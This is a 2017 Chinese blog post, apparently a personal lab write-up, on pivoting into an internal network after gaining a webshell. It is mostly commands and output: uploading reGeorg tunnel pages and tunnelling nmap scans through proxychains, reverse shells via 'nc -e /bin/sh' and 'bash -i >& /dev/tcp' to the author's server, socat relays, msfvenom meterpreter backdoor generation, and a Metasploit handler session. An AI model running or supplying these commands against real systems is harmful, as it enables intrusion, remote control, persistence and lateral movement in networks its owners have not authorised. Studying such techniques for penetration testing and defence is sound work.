渗透测试过程中代理的使用

Posted by grt1stnull on 2017-02-06

0x00.前言

当我们获得一个webshell时如何进入内网?如何在内网继续渗透扩大战果?

这是我一直以来都在纠结的问题,下面我尝试了几种实现方法。

(部分xxx为打码处理

0x01.socks代理

1.搭建代理

如果把目标服务器变成socks server还需要额外安装软件很明显是非常麻烦的,如果可以自己写一个简单的脚本很明显是非常好的。

参考:用Python写socks5服务器端| Xiaoxia[PG]

先挖坑,有空填。

2.进入内网

配置好socks代理后,我们可以通过proxychains在命令行中对内网进行操作,比如:

1
proxychains nmap -sV 127.0.0.1

proxychains安装与配置

安装步骤如下:

1
2
3
4
5
6
git clone https://github.com/rofl0r/proxychains-ng.git
cd proxychains-ng
./configure
make && make install
cp ./src/proxychains.conf /etc/proxychians.conf
cd .. && rm -rf proxychains-ng

安装好后对配置文件进行修改:

1
vim /etc/proxychains.conf

修改最底下一行:

1
socks5 127.0.0.1 1080

如上,比如我们要使用shadowsocks,监听了本地1080端口,就使用如上命令。

看一下效果:

1
2
3
4
5
6
7
8
9
10
root@kali:~# curl http://ip.chinaz.com/getip.aspx
{ip:'175.147.xxx.xxx',address:'辽宁省鞍山市 联通'}
root@kali:~# proxychains curl http://ip.chinaz.com/getip.aspx
ProxyChains-3.1 (http://proxychains.sf.net)
|DNS-request| ip.chinaz.com
|S-chain|-<>-127.0.0.1:1080-<><>-4.2.2.2:53-<><>-OK
|DNS-response| ip.chinaz.com is 59.34.148.77
|S-chain|-<>-127.0.0.1:1080-<><>-59.34.148.77:80-<><>-OK
{ip:'23.105.xxx.xxx',address:'美国 亚利桑那州马里科帕县菲尼克斯市Nobis技术集团有限公司'}

其中,http://ip.chinaz.com/getip.aspx 为获取ip及信息的api,我们可以看到,当我在本地使用shadowsocks之后,再使用proxychains,成功翻出。

3.内网渗透

当如上我配置好后,尝试nmap 127.0.0.1,再用proxychains nmap,好吧,结果并没有区别,问题出在哪里了呢?

了解tcp/ip协议的都知道,协议主要有tcp、udp、icmp,ping是icmp的一种,而我们的socks使用的是tcp和udp,支持的是socks4、socks5和http三种协议,所以要想使用nmap我们要这样:

1
proxychains nmap -sT 127.0.0.1

确定内网域,之后开始扫扫扫吧。

本地没有环境弄,没有继续。

4.其他姿势之reGeorg

这个是凤凰师傅告诉我的,看了一下确实很强大,快速搭建代理,方便实用。

官网在:https://github.com/sensepost/reGeorg 。下载到本地看一下,一个py文件是本地连接代理用的,其他后缀ashx、aspx、php、js、jsp都是上传到目标机器上的。

先上传tunnel.php,访问一下这个页面,没有反应,连接失败。

(上节proxychains设置中连接本地1080端口,所以这里指定端口1080

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
root@kali:~# python reGeorgSocksProxy.py -p 1080 -u http://123.206.60.140:8080/tunnel.php
_____
_____ ______ __|___ |__ ______ _____ _____ ______
| | | ___|| ___| || ___|/ \| | | ___|
| \ | ___|| | | || ___|| || \ | | |
|__|\__\|______||______| __||______|\_____/|__|\__\|______|
|_____|
... every office needs a tool like Georg
willem@sensepost.com / @_w_m__
sam@sensepost.com / @trowalts
etienne@sensepost.com / @kamp_staaldraad
[INFO ] Log Level set to [INFO]
[INFO ] Starting socks server [127.0.0.1:1080], tunnel at [http://123.206.60.140:8080/tunnel.php]
[INFO ] Checking if Georg is ready
[INFO ] Georg is not ready, please check url

没关系我们还有另外一个php文件:tunnel.nosocket.php,比较两个文件源码,tunnel.php前面有:

1
dl("php_sockets.dll");

而nosocket则没有这一句,并且源码与tunnel基本相同,只是注释了几个语句。猜测可能一个windows下一个linux下。所以我们尝试使用nosocket,访问这个页面可以看到:

1
Georg says, 'All seems fine'

尝试使用py连接这个页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root@kali:~# python reGeorgSocksProxy.py -p 1080 -u http://123.206.60.140:8080/tunnel.nosocket.php
_____
_____ ______ __|___ |__ ______ _____ _____ ______
| | | ___|| ___| || ___|/ \| | | ___|
| \ | ___|| | | || ___|| || \ | | |
|__|\__\|______||______| __||______|\_____/|__|\__\|______|
|_____|
... every office needs a tool like Georg
willem@sensepost.com / @_w_m__
sam@sensepost.com / @trowalts
etienne@sensepost.com / @kamp_staaldraad
[INFO ] Log Level set to [INFO]
[INFO ] Starting socks server [127.0.0.1:1080], tunnel at [http://123.206.60.140:8080/tunnel.nosocket.php]
[INFO ] Checking if Georg is ready
[INFO ] Georg says, 'All seems fine'
[INFO ] [4.2.2.2:53] HTTP [200]: cookie [PHPSESSID=577s1e6lm32sa5ejm4f0hasjo5[INFO ] [4.2.2.2:53] <<<< [76]
[INFO ] [4.2.2.2:53] Connection Terminated
[ERROR ] [4.2.2.2:53] HTTP [200]: Status: [FAIL]: Message [RemoteSocket read filed] Shutting down
[INFO ] [4.2.2.2:53] Connection Terminated
......

连接成功,并且当使用时会输出状态。

用proxychains获取ip与扫描127.0.0.1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
root@kali:~# proxychains curl http://ip.chinaz.com/getip.aspx
ProxyChains-3.1 (http://proxychains.sf.net)
|DNS-request| ip.chinaz.com
|S-chain|-<>-127.0.0.1:1080-<><>-4.2.2.2:53-<><>-OK
|DNS-response| ip.chinaz.com is 27.151.28.24
|S-chain|-<>-127.0.0.1:1080-<><>-27.151.28.24:80-<><>-OK
{ip:'123.206.60.140',address:'北京市 腾讯云'}
root@kali:~# proxychains nmap -sT 127.0.0.1
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.01 ( https://nmap.org ) at 2017-02-06 02:47 EST
|S-chain|-<>-127.0.0.1:1080-<><>-127.0.0.1:22-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-127.0.0.1:256-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-127.0.0.1:443-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-127.0.0.1:80-<><>-OK
......
Nmap scan report for localhost (127.0.0.1)
Host is up (0.056s latency).
Not shown: 988 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
80/tcp open http
111/tcp open rpcbind
443/tcp open https
3000/tcp open ppp
3306/tcp open mysql
4444/tcp open krb524
5432/tcp open postgresql
8080/tcp open http-proxy
9000/tcp open cslistener
Nmap done: 1 IP address (1 host up) scanned in 56.43 seconds

看到输出了服务器的ip,代理使用成功。并且绕过了iptables输出了本地127.0.0.1开启的端口。

看到这个让我想起了tunna,wooyun drops有介绍用于端口转发。发现tunna也可以用来当做代理,结果尝试发现连接上后使用时总是timeout。地址:https://github.com/SECFORCE/Tunna

0x02.shell反弹

获得对方命令行,用处巨大。

linux反弹shell

顺序很重要。

首先在我们的服务器上监听这个端口:

1
2
3
4
5
nc -l -p 12222
nc -v -l -p 12222 //增加-v参数有回显,很强
socat TCP-LISTEN:12222 - //如果有socat

之后在webshell上连接我们的服务器(有公网ip),比如:

1
nc -e /bin/sh 123.206.60.140 12222

如果我们不在服务器上进行,将shell转发到没有公网ip的本地怎么做?

首先在中转服务器上转发端口(nc转发没找到,索性用socat好了

1
socat tcp-l:12222 tcp-l:12224

(也可以使用ssh隧道转发,同理

之后在肉鸡上连接12222端口:

1
nc -e /bin/sh 123.206.60.140 12222

最后在本地连接服务器转发的端口12224:

1
2
3
4
root@kali:~# nc 123.206.60.140 12224
whoami
root
exit

可以看到连接成功了,点赞。

反弹姿势

更多翻阅参考资料,列举几个还可以的:

bash反弹,应该是能用的,结果我一用ssh就掉了。

1
2
3
bash -i >& /dev/tcp/x.x.x.x/2333 0>&1
bash -c "bash -i &>/dev/tcp/<target IP>/<port> 0>&1"

0x03.meterpreter使用

获取meterpreter会话

首先生成后门程序,在2015.6后msfpayload与msfencode被msfvenom替代了。

1
2
3
msfvenom -p windows/meterpreter/reverse_tcp lhost=123.206.60.140 lport=12222 -f exe -o a.exe
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f elf -o isshell

在靶机上运行这个a.exe,之后再在服务器上转发端口(服务器上没有metasploit),再在kali上获得这个meterpreter会话。

发现弄不了,因为获得meterpreter会话要绑定端口,但是我没有办法绑定到服务器上转发的端口。

之后突然想到/发现/意识到,我可以使用ssh隧道转发端口呀。

一番鼓捣,转发还是失败了,使用语句如下

1
ssh -C -N -g -R 12222:localhost:12224 root@123.206.60.140

没有办法,同一个内网搞吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@kali:~# msfconsole
msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.108
LHOST => 192.168.1.108
msf exploit(handler) > set LPORT 12224
LPORT => 12224
msf exploit(handler) > exploit
[*] Started reverse TCP handler on 192.168.1.108:12224
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to 192.168.1.112
[*] Meterpreter session 1 opened (192.168.1.108:12224 -> 192.168.1.112:57593) at 2017-02-05 10:20:01 -0500
meterpreter >

开搞

同样先挖坑,怎么搞就是怎样开始渗透了。目前思路是获得会话后首先隐藏目前进程,建立持久性后门之后进行信息收集。

参考:Metasploit工具Meterpreter的命令速查表

0x04.参考资料

利用proxychains在终端使用socks5代理

代理利器ProxyChains 使用方法(结合Shawdowsocks)

ip查询接口

Web渗透中的反弹Shell与端口转发的奇淫技巧

Linux建立反向shell的几种方式

Meterpreter初探

msfvenom生成器,独立于Metasploit框架 – 后门攻击

三种不同类型的ssh隧道

SSH的三种端口转发(Port forwarding)/ 隧道协议概要

SSH 隧道转发实战

内网渗透代理之reGeorg+Proxifier

渗透攻防工具篇-后渗透阶段的Meterpreter

内网渗透随想